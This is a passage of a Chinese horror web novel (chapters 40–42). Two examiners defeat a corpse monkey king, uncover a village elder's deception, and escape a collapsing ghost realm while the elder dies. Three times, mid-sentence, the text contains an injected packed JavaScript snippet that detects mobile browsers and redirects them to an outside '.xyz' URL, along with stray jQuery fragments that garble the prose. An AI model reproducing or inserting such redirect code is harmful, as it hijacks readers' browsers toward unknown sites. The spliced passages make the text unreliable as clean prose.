穿心而过的风刃,无力阻挡它前行。 “小心!!”顾斩风提醒。 但庞大可怖的猴爪,已经从齐檎丹头顶落下。尸化猴王的指甲很长,每一根都突出于指腹之外,像是半弧形的弯刀。 五把弯刀对准的,都是齐檎丹。 情急之下,齐檎丹只能抓起木刻小刀,匆忙抵挡。 但是这把木刻小刀实在太小了,即便齐檎丹的反应速度已经很快,木刀也仅仅挡住了尸化猴王的一根手指。 猴爪的其余指甲,轻易撕裂开了她的皮肤,钻心的疼痛从神经纤维直抵大脑。 “滴答……” 鲜血肆意涌出,滴落在木刻小刀上。 尸化猴王布满皱纹的脸上,扬起残忍怪异的笑容。 正当齐檎丹以为,尸化猴王会进一步加大力度,把手指掐进齐檎丹的肉里,捏碎她的骨骼时,尸化猴王的动作却毫无预兆地停住了。那双阴恻恻的圆眼里,浮现出人性化的惊恐。 它最先察觉到了木刻小刀的变化。 被齐檎丹鲜血泡过的地方,木头仿佛溶解一般,逐渐变了颜色。 而与此同时,尸化猴王突然从木刻小刀上,感受到了一股前所未有的畏惧。这种恐惧感冲击灵魂,直刺骨髓,让尸化猴王瞬间恨不得丢盔弃甲,落荒而逃。 这是木刻小刀变化之前,从未有过的。 40. 峭壁悬棺18 看着眼前的异象,齐檎丹也是一惊。 这木刻小刀里面,竟然另有玄机。怪不得之前挨了顾斩风的匕首一下,木制的小刀却没有断裂。 齐檎丹跃跃欲试,她面前尸化猴王却已然陷入惊恐,松开猴爪,转身想逃。 但齐檎丹怎可能放任它逃脱。 想跑?没那么容易! 齐檎丹右手握刀,左手直接抓上了木刻小刀的刀身,任凭利刃割开掌心,汲取鲜血。 沾满殷红血液的小刀极速抽长、伸展,转眼之间,如同变戏法一样,变成了一柄威风凛凛的钢铁长刀。这长刀形制与唐刀类似,刀上没有多余的装饰,刀锋却寒光凛冽,非常适合大劈大砍。 齐檎丹双手握住刀柄,自下而上猛然一扎,刀锋便捅穿了尸化猴王的手掌。 白刀子进,红刀子出。 尸化猴王一时吃痛,忍无可忍地发出惨叫。 顾斩风的风刃接踵而至。 杀尸化猴王瞄准要害没用,它不怕再死一次,所以这一次顾斩风吸取教训,一连使出多道风刃,同时朝它各处关节刺去。 尸化猴王不怕死亡,却怕四分五裂。 凌厉的风刃下,尸化猴王被逼得连连后退,连滚带爬地远离了齐檎丹。 然而,相比起尸化猴王大得出奇的身躯,山洞内的空间显得极其紧张。尸化猴王有心想退,可只退了没几步,后背就抵到了石壁上。 顾斩风抓紧时机,双管齐下,一边以风刃截断猴王从洞口逃生的后路,一边再次袭向尸化猴王的关节。 终于,他大获成功。 尸化猴王没了尾,残了手,又关节尽废。整只猴像只庞大的黑色肉山,颓然倒地。 齐檎丹马上追赶过去。她右手持刀,左手拿起宝珠往尸化猴王头上一按。宝珠的光华下,尸化猴王的身躯迅速干瘪下去,还原成一具平平无奇的尸体。 原来最初死去的猴王,也只是比普通的猴子稍微大了一些而已。 没什么稀奇。 确认这具猴王尸体不会暴起伤人之后,齐檎丹才松开了把宝珠按在猴王尸身上的手。 她第一时间查看了木刻小刀的简介,发现这份简介已经截然不同。 【愤怒的长刀(普通级):由于激发了护主的本能,木刻小刀在危机时刻,发生了翻天覆地的变化。现在的它,不再是木头雕刻的,也不再是小刀。】 齐檎丹恍然。原来介绍里所说的“护主”,是这个意思。 用一些无伤大雅的皮肉伤,换一把更加趁手的刀,这样看来,她好像也不算特别亏。 但是,齐檎丹受的这皮肉伤可不轻,伤口看起来骇人得很。哪怕齐檎丹拿积分兑换了止痛止血的道具,淌出的鲜血一时半会儿也没法停住。 顾斩风看了一眼她身上流血的伤口,突然动手,从实验室白大褂干净的内衬上,撕了一块布料下来。 听到那“刺啦”的布料撕裂声,齐檎丹瞬间警觉:“你干什么?” 顾斩风将布料递给她:“包扎。” 说实话,这有点出乎齐檎丹预料,因为顾斩风不像是乐于助人的人。 正因如此,齐檎丹原本并不打算接受顾斩风的好意,顾斩风的心思那么深,鬼知道收下后,会被他坑进什么陷阱。 所以她打开了系统商城,打算自行购买包扎伤口的医用纱布。 商城售卖的商品琳琅满目,足有好几百种,然而令齐檎丹没想到的是,她都把陈列商品的界面都拉到底了,愣是没看见最普通的纱布。敢情这系统自带的商城里,只卖道具和少量日用品,其他生意啥都不做啊。 明明只要一个道具和一包纱布就能解决的事,非逼人买两个道具。 这商城是奸商开的吧。 齐檎丹叹了口气。怪不得顾斩风那么笃定,她会用到布料包扎,因为纱布根本没得买。 迅速流失的鲜血渗透了衣物,齐檎丹短暂地纠结过后,还是选择把顾斩风递来的布料接了过去。 “谢了。今天算我欠你一个人情。”齐檎丹勉强笑了笑,“不过,可别指望我会放弃这颗宝珠,我组里的人还等着它缓解尸化呢。最多……呃,我们俩一人一半?” 不过说起来,要实现一人一半,那是不是得把别人村里的传世宝物切了?齐檎丹转念一想,感觉这样属实是有点不太好。 要想使双方都受益,可能还得另想法子。 齐檎丹从疼痛的影响里恢复的大脑,刚刚开始思索这个问题,就见顾斩风对她摇了摇头。 “不需要。”她听到顾斩风说。 出乎意料的答案,让齐檎丹第一时间,选择了怀疑自己的耳朵。 是她听错了,还是太阳打西边出来了?胜负欲一贯极强的顾斩风,居然会如此轻易地放弃宝珠的归属权吗?不对,这不合理! 齐檎丹顿生警惕。 她沉下面色,骤地蹙起眉心。 一定有什么东西被她漏掉了。如果不是有什么东西的价值,足以使得顾斩风放弃宝珠,放下对输赢的执念,那就是…… 齐檎丹迅速点开最终任务的系统通知,放慢速度,仔仔细细地又看了一遍。系统发布的任务内容没有问题,出问题的,只是一个关于任务形式上的细节。 任务内容里没说分组,更没有说,要让他们两组人互相竞争。 因此—— 这不是一个阵营任务! 齐檎丹瞳孔一紧。他们是什么时候被误导的?又为什么会被误导? 她靠着山洞的石墙坐下来,开始复盘,答案浮现而出的那一瞬间,有如电光在脑海中劈过:“……是那个小老头的故意误导,我们都被摆了一道。” 分组,是那冥器店小老头给他们分的。 小老头明面上声称,这样做的目的,是为了方便他们上栈道,话里话外,却隐约强调两组的竞争关系。 由于以往NPC的作为,基本可以代表副本意图,这个不成文的条例是如此深入人心,以至于所有考察员都忽略了,最终任务的形式不是分组。从那之后,他们都在明里暗里地纠结竞争问题。 直到现在。 齐檎丹抬起头,有气没力地剐了顾斩风一眼。她极不情愿地承认,在没有分组这件事上,顾斩风比她发现得早:“你是什么时候知道的?” 顾斩风平静回视:“宝珠掉到你手里的时候。” 当齐檎丹那边收到成功拿取宝珠的提示时,顾斩风也收到了同样的。 这一条提示,就够顾斩风想通关键的。 甚至都用不到半刻。 如果系统认为他们俩不是同一组人,在宣布齐檎丹成功的同时,顾斩风得到的会是失败的消息。况且,在收到提示的那一瞬间,顾斩风是亲眼目睹宝珠滚落进齐檎丹手里的,这件事做不得假。 凭借顾斩风的脑子,想猜出分组不成立,简直不要太轻松。 齐檎丹捏了下眉心: “我现在比较好奇,为什么那小老头要故意误导我们。他是想让我们把更多的注意力,集中在相互对抗上,好忽略身边的异常?” 当竞争成为第一顺位,其他事项自然让步。一些看似无关紧要的异样,甚至会被人脑忽略。 顾斩风:“看来是山有问题。” 小老头既然将分组竞争的主要场地,定在山上,必然是希望他们忽略山崖上的异常。 山崖能有什么异常?齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980853|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檎丹心念一凝,福至心灵地拿出她从之前取的那包土壤,又从山崖上捻起一小撮土,将两者横向进行对比。 纸包里土壤和山崖上的土壤,触感非常相似。 都湿润,松散。 齐檎丹豁然开朗。她往洞穴内的地面上,踩了两脚,茶色的瞳眸里阴翳渐浓:“你有没有觉得,我们脚下的山,似乎不是很稳啊?” 这小老头,是要害死他们吗? . 其他人来得比预料中的迟。等齐檎丹包扎完了伤口,才见到赶来的其余三人。顾斩风组里包括黄毛在内的其他人,更是姗姗来迟。 因为两组人来到洞穴的时间几乎一致,他们几个人还险些动起手来。 气氛剑拔弩张。 显然,他们还不知道分组这回事的真相,不知道这只是副本里一个故意设计给他们掉的“陷阱”。 齐檎丹忽略了黄毛见到她还活着的时候,那格外失望的脸色,上前把他们两拨人分开。她算了算路程的用时,问苏意虹和邱义、邱勇兄弟:“你们怎么来得这么晚啊?这时候才来,该打的架都打完了。” 她可是一发现棺材,就按照约定给他们发消息了。 这段山路,说什么也不该走这么久啊。 两兄弟里的弟弟邱勇带头叫屈:“这已经是我们的最快速度了。尸化猴王可能出了什么问题,刚才我们赶来的路上,猴群乱作一团,频频拦路,这附近栈道上的木板,也没剩几块完好的了。” 齐·抽过木板,揍了猴王·檎丹:“……” 不是她在问别人为什么来迟吗?这怎么绕着绕着,她突然觉得是她的错了? “开始吧。”顾斩风清点完人数,向齐檎丹颔首示意。 齐檎丹从外套口袋里取出宝珠。 宝珠的光辉,顷刻间洒在了洞中所有人的身上。 丑陋怪异的尸化痕迹,在这耀眼的光芒下一点一点被抹去,重新变回平整光滑的皮肤。 【尸化状态解除中。】 【解除进度10%,20%……100%】 【已成功解除全员尸化。任务完成进度:90%】 最终任务的进度,终于突破了九十大关,困扰众考察员已久的尸化问题,也迎刃而解。然而,他们感到的却不是欣喜,而是更深的困惑。 他们不是已经完成了悬棺升置的体验,也拿到宝珠解除尸化了吗? 为什么还没有通关? 为什么最后还剩下10%的进度? 苏意虹苦着脸,把任务内容如实念了出来:“上面写的是‘找到棺材村的宝珠并将其拿走,缓解尸化’。拿走宝珠,缓解尸化,这两个我们都已经完成了啊?” 除非此“拿走”,非彼拿走。 齐檎丹叹了口气:“我试过了,单单是在这个洞穴里拿着宝珠,是填不上这10%的。” 就算他们都解除了尸化,也没办法满足任务条件。 必须要将宝珠拿出洞穴才行。 但这颗宝珠,俨然是撑起这整个空间的核心。 山体土壤结构松散,很容易导致泥石流,一旦将宝珠拿出洞外,虽然能够完成最终任务,却势必会使这个空间一并崩塌。 四年前泥石流肆虐的惨状,将卷土重来。宁静祥和的村庄,会显露出满目疮痍的真相;满山的生灵,会重新化为腐烂死尸;生活在此的村民们,会再次被深埋回泥土之下…… 更重要的是,他们脚下的山崖也有一部分,是被泥石流冲毁后,又用宝珠塑造还原的。 山上的洞穴和栈道,将会与这个空间一并塌陷。 立足之处通通被毁。 届时,他们又该如何求生? 41. 峭壁悬棺19 齐檎丹之所以会知道得这么清楚,是因为宝珠离开洞穴后会发生的事,全都被清清楚楚地,画在了第一任村长的棺材上。 趁着其他考察员围着棺材看图的时间,齐檎丹把她从图案里分析得到的信息,如实转告给了他们:“……以宝珠为核心的亡灵空间,仅需一人即可开启,但对开启的位置有要求,符合要求的只有这一个地方。” 也就是他们置身的这个洞穴。 镶嵌宝珠的那人之所以耗费力气,千辛万苦地爬上山崖最顶上,找到第一任村长的悬棺,正是为了开启这一空间。 至此,与宝珠相关的一切,都已被勾勒清晰。但棺材村里隐藏的秘密,就只跟这颗宝珠,以及其构造出的亡灵空间有关吗? 显然并非如此。 事情远远比这颗宝珠发挥的作用,更为复杂。 苏意虹第一个提问:“这个空间不是与世隔绝,只让鬼魂居住吗?为什么我们会进来?” 在齐檎丹开口前,邱义便已经反应了过来。 邱义语气发沉:“是那个鬼司机。” 鬼司机估计也是棺材村人,只有他,才能把车开到这个空间里。他还记得进副本时背景设定,设定里,他们出发前得到的山村里有悬棺的消息,或许没有错。 只因为司机被恶鬼李代桃僵,才致使他们误入此地,遭到猎杀。 齐檎丹手指转动着宝珠,璀璨的珠光却映不进瞳孔:“鬼司机为了将我们拐进棺材村中害死,不惜离开空间,但这样做不是没有风险。” 宝珠起作用的范围有限,离村子越远,效力就越弱。等到留在鬼司机魂魄上的阴气用完后,鬼司机人类的伪装便开始错乱。所以大巴车上的他们,才会目睹司机露出的恶鬼真容。 “但鬼司机不是第一次这么做。”顾斩风判断。 那只鬼假扮人类司机,开的旅游大巴也是为鬼特制,明显对整个流程熟门熟路。 他们这些考察员,绝非鬼司机拐带来空间谋害的第一批人。鬼司机经常这么做,不可能对离开这个空间的风险一无所知。 既是如此,鬼司机为何要冒险出来害人? 就那么仇恨他们? 不止鬼司机,这棺材村里,对他们心怀恶意的鬼比比皆是。铺天盖地的黑雾鬼手,择人而噬的水中骷髅……就连小孩鬼魂变成的纸扎人娃娃,也无数次想要置他们于死地。 难道这些鬼魂对他们的仇视程度,已经到了连魂飞魄散都不顾惜的程度了吗? 苏意虹忍不住感到无辜:“可是,我们从来没有惹过他们啊。我们之前,连来都没有来过棺材村,更不可能得罪这里的人和鬼。” 这些鬼对他们的恶意,产生得也太莫名其妙了。 简直是无妄之灾。 齐檎丹深深吸了一口气:“或许,这些鬼魂恨的不是我们,而是每一个山村外面的人。” 众所周知,当尚且在世的活人,把纸扎的冥器烧给死者的鬼魂之后,这些纸扎物品,就会变成可供鬼魂使用的物件。然而,棺材村里他们目所能及的绝大多数纸扎,却依然保留了纸扎的原样。 因为根本没有活人烧给他们这些,他们只能自己在村里做做纸扎,聊以慰藉。 这是一个被遗忘的小小山村。 落寞,被边缘化。 哪怕被泥石流掩埋,也没人救援,没人祭奠。 棺材村被隐藏在重重群山深处,出入村庄的路途又艰辛险恶,阻隔了村庄与外面的世界。兴许,建村后不是没有出村的人,只是这些离开的村民们,基本上再也没回来过。 这些人,可能是倒在了外乡,失去了回村的能力,也可能是被城市的花花世界迷了眼睛,再也不愿意回想贫瘠的故乡。 但最终,他们都逐渐遗忘了这座山村。 像外面的其他人一样。 四年前泥石流爆发过后,幸存者被困其中,仅凭一副支离的残躯,在苦苦支撑。 幸存的村民焦灼地等待着,盼望着救援,渴望有人向他们伸出援手。然而,直等到日夜更替,等到生命耗尽,他们都没有等到来自外界的救助。最终,只能在绝望的等待与无尽的恨意中,咽下了最后一口气。 不是说一方有难,八方支援吗?为什么外面的人没来救他们? 那些在村庄庇护下长大的人,离开前不是发誓不会数典忘祖吗?为什么现在村庄有难,这些人却迟迟没有回来? 濒死时,幸存者崩溃地诘问。 得不到答案的问题,化作埋在心底的毒刺,深深扎了根。棺材村的村民们带着这股恨意,成为厉鬼。 他们因希望而生恨。 “棺材村里的鬼魂杀我们,不是因为我们做了什么。他们只是想要报复社会。”齐檎丹说。 恨意会扩大,会蔓延,和那些离开的人一起,融入了茫茫人海。人性被仇恨泯灭,把灾难里无辜丧命的村民,变成了滥杀无辜的恶魔。 因天灾而死的他们,固然可怜。 但,那些被骗进村中杀害的人们,又有何辜? 【分析正确。当前剧情解锁进度达到100%,奖励积分已为您自动存入背包】 在齐檎丹讲述这些推论过程中,她一直感到有两道令人不适的目光,紧紧地黏在她身上。那两道目光,无疑是来自黄毛的。黄毛对她的敌意不是一天两天的,她对此已经习惯。 然而这一次,黄毛却不是冲着齐檎丹来的。 他觊觎的,是她手里的宝珠。 黄毛的贪婪人尽皆知,他连不一定能带出副本的金银珠宝,尚且要凿壁偷盗,对于这颗很可能是珍贵道具的宝珠,黄毛更是垂涎三尺。 多美的一颗珠子啊!那样流转的色彩,那样莹润的珠光……黄毛眼里除了那颗宝珠,再也看不见别的。 这颗珠子的价值犹如一根羽毛,挠得他心里痒痒。 至宝当前,他再也忍不住了。 黄毛猛冲上来,不由分说地从齐檎丹掌中夺过珠子,一把揣进怀里。 “既然这些鬼东西都要害我们,我们还留着这颗珠子干什么?还不如把它交给我,我也好帮大家完成任务。”贪欲熏心,黄毛两只眼里闪出疯狂的光。 似乎怕被要求归还宝珠,他揣着珠子,笑嘻嘻地拔腿往洞外冲: “哈哈哈哈各位!先走一步啦!” 【任务完成进度:100%】 【空间即将坍塌,请考察员注意安全!】 “轰隆隆——” 黄毛的脚踏出洞穴的那一刻,所有人都感受到了可怕的震动。 但黄毛还在不断沿着栈道狂奔。 空间塌不塌,其他人死不死,他可不在乎。 黄毛早已把偷盗来的陪葬品,藏在了系统背包里面,现在宝珠又到了手。他只在乎这么多道具和陪葬能不能带出副本,在乎自己后半生能不能衣食无忧。 “轰隆隆——” 山崖上松动的碎石不断下落,黄毛来不及把宝珠也收进背包,只能揣着它,艰难地躲避着砸来的石块。 宝珠光滑圆润,不易拿取,黄毛每次一动,它就在兜里滚来滚去,给他的逃生带来了不少麻烦。可黄毛只牢牢将珠子攥在手心里,不肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986700|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放松,滋生的贪欲,让他丝毫没有放弃这颗珠子的打算。 左右东西都已经拿到了,只要再找到一个藏身之处,他就能……就能…… 黄毛的心理活动猝然停止。 他两眼暴突,口角流血。背上,从高处坠下的一块千斤巨石,不偏不倚地砸断了黄毛的脊椎。 骨骼被砸得断裂,骨髓被压到爆浆,黄毛在重力下,瞬间失去了行动能力。与之同时,巨石可怖的重量和黄毛自身的体重加在一起,顷刻间超过了栈道所能承载的极限,折断了固定栈道的木楔子。 木楔断作两截,铁链随之滑脱。 栈道毁坏的刹那,黄毛和压在他身上的巨石一起,被倏地抛下万丈悬崖。 尸骨无存。 黄毛已死,但他引发的空间崩塌还在继续。 “轰隆隆——” 这震动来自深邃的地底,自下而上,烈度惊人。 尖利沉重的钟乳石折断掉落,摔在地上四分五裂,齐檎丹抬头看见洞穴顶部,转瞬蔓延开了好些极其明显的裂痕。 齐檎丹倏地绷紧心弦:“我们必须尽快找到藏身的地方,要不然我们会跟当年的村民一样,被埋在地下的!” 顾斩风语出惊人:“躲进悬棺里。” “什么?悬棺?!”齐檎丹诧异地扭头,朝挂在山崖外的悬棺看去。 只一霎,她便明白了顾斩风的用意。 山崖上的悬棺历经千年的风霜雨雪、地震山洪,都能岿然不动,难道还惧怕这小小的震动崩塌? 况且,在这悬棺葬扎堆的地方,缺了什么都不可能缺了棺材。 小老头之所以误导他们是分组竞争,让他们忽略细节,目的就是为了让他们不被山体的危险吓退,能够成功顺着栈道登高,来到悬棺的位置。 因为只有这些悬棺,才是唯一的求生之处。 “躲进悬棺,大家都躲进悬棺!” 齐檎丹拔高声调。 喊完,她首先找到个牢固的悬棺,低声对棺中尸骨道了句冒犯后,请出尸骨,把不明所以的苏意虹塞了进去。其余考察员见状纷纷照做,也找好了各自藏身的悬棺。 然而,当悬棺里的苏意虹伸出手,想拽齐檎丹入棺躲避时,齐檎丹却对她摇了摇头。 “我要去救人。”齐檎丹说道。 “救人?”苏意虹奇怪,“你要救谁?棺材村里的人不都死光了吗?” 齐檎丹:“不,还有一个。” 宝珠的空间领域,需要一个活人才能开启。开启后,这个活人也会随之被囚在空间之中,无法脱身。 整个村庄中唯一活着的那个,就是开冥器店的小老头。小老头不怕阳光,从见他们的第一刻起,就不断在劝说他们离开此地,不仅帮他们完成考察任务,还好意告诉了他们摆脱尸化的方法。 齐檎丹猜测,空间中能躲避崩塌影响的地方不多。要不是小老头教他们上栈道,他们哪儿能找到避开危险的悬棺。 这样的好人,命不该绝! 齐檎丹记得她有一个稀有道具,是从上一个副本里获得的夫人妈塑像。 夫人妈塑像是一次性道具。夫人妈神灵的庇护,能为她提供三分钟的绝对安全时长。这也意味着,齐檎丹只有三分钟的时间,能拿来救人。 而这三分钟内,她必须赶到村中,找到小老头。 时间非常紧迫。 苏意虹二话不说,立刻借出了她用来逃命的泥塑小马道具。 泥塑小马落地后,当即变作一匹矫健骏马,驮上齐檎丹,朝山崖下棺材村的方向飞驰而去。 42. 峭壁悬棺20 冥器店里,地面剧烈的震动叫人胆寒心颤。 纸扎人东倒西歪,刚做好的花圈倒伏不起,白花花的纸钱飘落满地……到处狼藉一片,混乱不堪。 耳边传来承重墙坍塌前的哀哭,小老头的神色却异常平静。小老头徐徐摇着蒲扇,守着小小的店面。就像他以往的每一个午后会做的那样。 只不过,这一次小老头所等待的,不是随时可能上门的顾客。 而是即将到来的死亡。 叫那些外乡人摘下宝珠解除尸化,再让空间坍塌,这是小老头的主意。 当年,要不是他出于对村中乡亲的愧疚,一意孤行拿宝珠构建了这个空间,留下了村民们的鬼魂,这些外乡人们也不至于被鬼魂骗过来,三番两次置身险境。 对这群外乡人,小老头是有愧的。对这些村民的亡魂,小老头一样愧对,因为小老头正是其中一个离开棺材村,外出谋生的年轻人。 那时候,老头还不是老头,只是一个刚满十八周岁的愣头青。 初入城市,满目繁华一朝闯入眼眸,数不清的高楼大厦使他目眩,车水马龙的盛况令他神迷。他是如此向往这样的生活,并急于融入这里。 为此,他恨上了他诞生的山村。 他恨山村赋予他的,被太阳晒得黧黑的皮肤。他恨群山里养出来的,不同于城里人的乡土气质…… 这些山村留下的烙印让他自卑,让他痛苦。 提醒着他,他与城市格格不入。 往后的五十多年里,愣头青不断地试图抹去这些烙印。他改变衣着,调整气质,喝上了咖啡,也买了自己的车…… 他曾经试过忽略他出身的棺材村,但他很快意识到,他根本不需要刻意忽略。 棺材村是个太小的村子。 世界那么大,有那么多值得关心的大事,那么个贫苦落后的小山村,根本进入不了报纸有限的版面。 与这么庞大的城市相比,一个小小的山村微不足道。 没有人会留意。 愣头青再也没有回过村庄,等到他不再年轻,变成了两鬓斑白的小老头,他才在午夜梦回时,回忆起了那个生他养他的山村。 记忆里的棺材村内,有青山,有绿水,有经常帮忙照看他的邻居。但,当他寻着记忆回到村中—— 这里,只剩下泥石流摧毁的满目疮痍。 他的村子,没了。 正因为棺材村太小太偏僻,四年前那场泥石流,新闻媒体没有报道。那时候还在城中的小老头,对此一无所知。 如果小老头能够及时赶回来救人,他说不定来得及救下几个乡亲,能和他们在旧棺材村的原址之上,再重新建起一个新的村庄。可是一切没有如果。 现在村里的人全都命丧黄泉,这村庄怎么重建得起来? 小老头想起了那颗宝珠。 他动用宝珠,建起了这个空间。 可是……都怪他太自以为是了,只记得村里人对他的好,却低估了他们对其他人的恨。 小老头原本想的很简单,只要守着村子,不让乡亲们的鬼魂出去害人就行。但当他发现,总有外地人接二连三地“误入”村中,并离奇失踪时,他才知道,自己的想法天真得多么离谱。 以宝珠强行构建这个空间,把残命留在这里,小老头并不后悔。在这里,亡者可以复生,失散者得以团圆,流离失所者得以安居乐业……能看到这样一幅画面,他此生足矣。 他后悔的是,没有管好乡亲们的鬼魂,让他们白白的祸害了无辜的人。 这是他造的孽,他得还。 空间崩溃的混乱中,淡淡的阳光被摇散,穿过树叶,洒在小老头坐的老式藤椅上。小老头抬头盯着阳光。 良久,一滴浑浊的老泪滚下,淌出小老头干涸的眼眶,顺着皱纹遍布的脸皮,滑下颌角。 落进午后斜阳。 要是仅凭他一人之力,拦不住这群杀人成瘾的村民,那他只能托外乡人将空间毁去。让他与棺材村,与村里化为鬼魂的乡亲们,同亡。 地面震动得越来越猛,承重墙终于倒塌,屋子的天花板瞬间倾斜,裂成数块。 砖石土块噼里啪啦砸了下来。 小老头沉默地闭上眼,迎接死神的来临。 但死神没有到来,反倒是一道身影风风火火地,冲进了冥器店的店门。 被来人的脚步声惊动,小老头诧异地睁眼站起,却疑心自己看花了眼。 他不是已经看着那些外乡人上山崖了吗,怎么还会有一个人出现在这里?眼前的少女身上,又怎么会被金光所笼罩?难道这个阴气森森的空间里,也会有神灵愿意庇佑? 小老头愣神间,齐檎丹挡开了往他身上砸来的石块: “这里要塌了,快走!” 道具“夫人妈神像”提供的保护时长,仅剩下两分钟不到,他们必须在这段时间内逃出生天。 否则,两个人都会殒命于此。 赶在门框彻底变形之前,齐檎丹冒着坠落的石块,把小老头拉出即将倒塌的冥器店,护送上了等在门外的高头骏马。 还剩一分半。 齐檎丹在小老头的指引下抄了近道,快马加鞭,往村外的空旷地带赶。 那一带都是农田,没有多少建筑,因此空间崩塌的时候不容易被东西砸到,会相对安全。 泥塑小马化作的马匹已经尽力。鬃毛扬起,四蹄如飞,马蹄落地的声音一声紧挨着一声落下,密得几乎听不出间隙。 但是这速度不够。还不够。 马蹄后方,被空间塑造出的村庄正极快地消失不见。 身后的房屋成片成片地塌下,然后化为青烟消散。青烟散处,显现出泥石流带来的沙土碎石。这些泥土与石块,正是棺材村在现实里的废墟。废墟底下,埋着遇难村民们残缺破碎的白骨。 齐檎丹回头瞥了一眼令人心惊的场景,猛地一夹马肚子,再次加速。空间崩塌的速度,好几次差点追赶上他们乘坐的马匹。 他们是在与死亡竞速。 只剩一分钟。 齐檎丹终于看到了棺材村的边界,骏马也在这时候耗尽了全部体力,撩了蹶子,变回玩具大小的泥塑小马。 代步道具失效,身上护体的金光也逐渐变弱。齐檎丹只能扶着小老头,咬牙往前跑。一边跑,一边用身上的金光,替小老头继续挡住掉落的重物。 最后半分钟。 齐檎丹紧赶慢赶,双脚总算踏上了江边平坦的空地。 “嘭!”身后空间崩塌最终结束,村里最后一块石板重重落地,骤地掀起尘埃。然而,齐檎丹的面前,却是一片辽阔的江面。 清凉的江风迎面拂来,将水雾和花草的甜香味松进鼻腔,驱散了□□的疲惫,放松了紧绷的神经,几乎让齐檎丹忘记,她身后是怎样白骨累累的废墟。 终于,结束了。 保护时长彻底耗尽,夫人妈塑像化作金光消散。 齐檎丹长舒了一口气,向她一路护送出来的小老头看去。怎料,才转过头,一根钢筋却先映进眼里。钢筋自老人身上穿胸而过,鲜血淋漓。 登时,齐檎丹脑中有如闷雷炸响。 这一路上,齐檎丹一直伴在小老头左右,可如今她竟然不知道,这钢筋是从何而来,又是什么时候扎在小老头身上的。 她小心翼翼,千防万防。 终究—— 还是没能防住。 鲜血很快蔓延成一滩,染红了空地上新长出的青草。齐檎丹耳边嗡鸣不止,她徒劳地用手去堵伤口,却发现根本堵不住。 鲜血还是在奔涌而出,流得越来越快,越来越多。 “没关系的,我还能买道具,你不会有事。”齐檎丹一手扶着小老头,一手打开系统商城,准备把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992035|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已有的积分,全部换成治愈伤势的道具。 然而,小老头好像预判了她要做什么。 齐檎丹刚打算购买,她的手就被小老头抓住了。 “小丫头,不用了……我这条命,早该死了……”小老头吃力地对她开口。每说半句话,齿缝间便涌出一大口猩红。 齐檎丹拼命摇头:“您别说了,先别说了。” 小老头艰难地拉起他的袖子,那与盛夏高温格格不入的长袖下面,竟然布满了尸化的青灰色。 尽管空间已经崩塌,小老头却在这里待了太久太久,浸染了太多阴气。哪怕他每次都会上山崖去,找宝珠解除尸化,这样经年累月下来,尸化的影响仍然渗透进了骨骼,药石无医。 就算没有这一根穿过胸膛的钢筋,再要不了多久,他也会因尸化死去。 他已是快要入土的人。 早死晚死,对他几乎没有差别。 那只阻止齐檎丹购买伤药的手,最终还是垂落了下去。小老头微笑着闭上双眼,安然离世。 . 在棺材村一片死寂的废墟中,副本宣告结束,离开副本的通道缓缓开启。 等苏意虹和顾斩风因为放心不下,赶到江边的空地上时,只看见面朝废墟坐着的齐檎丹,和她身边已经被装进棺材里的,小老头的尸体。 小老头的鬼魂,脱离尸体而出。 明知阳光会灼伤魂魄,小老头的鬼魂却顶着阳光,毅然决然地飘进了棺材村的废墟。 小老头决意以魂飞魄散的代价赎罪,齐檎丹无法挽留,只能眼睁睁地看着小老头的灵魂一点点消散。 她什么也做不了。 这种无能为力的感觉宛如凌迟,齐檎丹正目送着小老头的鬼魂走远,忽然察觉到,顾斩风看向了她的相机。 相机?对了,她不是什么都做不了,她还有她的照鬼相机技能。 她能留住小老头在这世上最后的影像。 哪怕只做个念想,也好。 齐檎丹如梦初醒。她抓起相机,按下快门,将镜头中的画面,定格在了小老头灵魂消散之前。 照片名字带着诗意,唤作“故乡的回眸”。 说来也怪,这次拍摄过程中,齐檎丹其实并没有使用任何技巧,照片的等级却高达SS级。因为只是想要留下些许念想,她仅仅是对焦人物之后,便按下了快门。 然而得到的评分,却是她进这个副本以来,最高的一次。 或许,这是来自小老头的馈赠吧。 齐檎丹拿着刚被“照鬼相机”洗出的照片,心中百感交集。 眼前,小老头已经在阳光的照射下魂飞魄散,化为云烟。废墟前,齐檎丹独自捏着那张照片,低头端详。 照片拍摄时,小老头的魂魄已经往村庄的废墟深处,飘了好一段。他左右两侧,皆是泥石流造成的废墟。黏稠的泥沙里,泡着石块、树木和在泥石流冲击下垮塌的房屋建筑。 惨烈的灾难景象,衬得小老头的身影更加老朽佝偻。 